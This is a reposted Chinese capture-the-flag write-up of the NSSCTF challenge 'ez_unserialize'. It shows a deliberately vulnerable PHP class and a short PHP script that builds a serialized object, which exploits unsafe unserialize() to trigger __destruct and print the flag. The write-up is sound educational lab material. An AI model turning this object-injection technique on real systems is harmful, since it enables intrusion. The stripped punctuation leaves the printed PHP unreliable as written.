2026年3月27日NSSCTF之[SWPUCTF 2021 新生赛]ez_unserialize
[SWPUCTF 2021 新生赛]ez_unserialize开启环境进入并查看可以看到一个动图选择查看网页源码得到看到有隐藏信息根据隐藏信息可以猜测可以利用robots协议查看相关信息访问得到可以得到/c145s.php信息进而访问得到?phperror_reporting(0);show_source(cl45s.php);classwllm{public$admin;public$passwd;publicfunction__construct(){$this-adminuser;$this-passwd123456;}publicfunction__destruct(){if($this-adminadmin$this-passwdctf){include(flag.php);echo$flag;}else{echo$this-admin;echo$this-passwd;echoJust a bit more!;}}}$p$_GET[p];unserialize($p);?对此PHP代码分析classwllm{public$admin;public$passwd;// 构造方法初始化属性值反序列化时不会自动执行__constructpublicfunction__construct(){$this-adminuser;$this-passwd123456;}// 析构方法对象销毁时执行反序列化后会自动触发publicfunction__destruct(){// 核心条件admin严格等于admin、passwd严格等于ctfif($this-adminadmin$this-passwdctf){include(flag.php);echo$flag;// 满足条件则输出flag}else{echo$this-admin;echo$this-passwd;echoJust a bit more!;}}}关键__construct仅在new wllm()时执行反序列化时不会触发因此初始化的adminuser、passwd123456可被覆盖 __destruct反序列化生成的对象销毁时自动执行是漏洞利用的核心入口 条件判断用严格相等需值和类型都匹配这里都是字符串只需值正确 核心是实例化wllm类手动赋值adminadmin、passwdctf再序列化代码?phpclasswllm{public$admin;public$passwd;}// 实例化并赋值满足条件的属性$objnewwllm();$obj-adminadmin;$obj-passwdctf;// 生成序列化字符串echoserialize($obj);?将序列化的结果get传参得到最终结果
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2456292.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!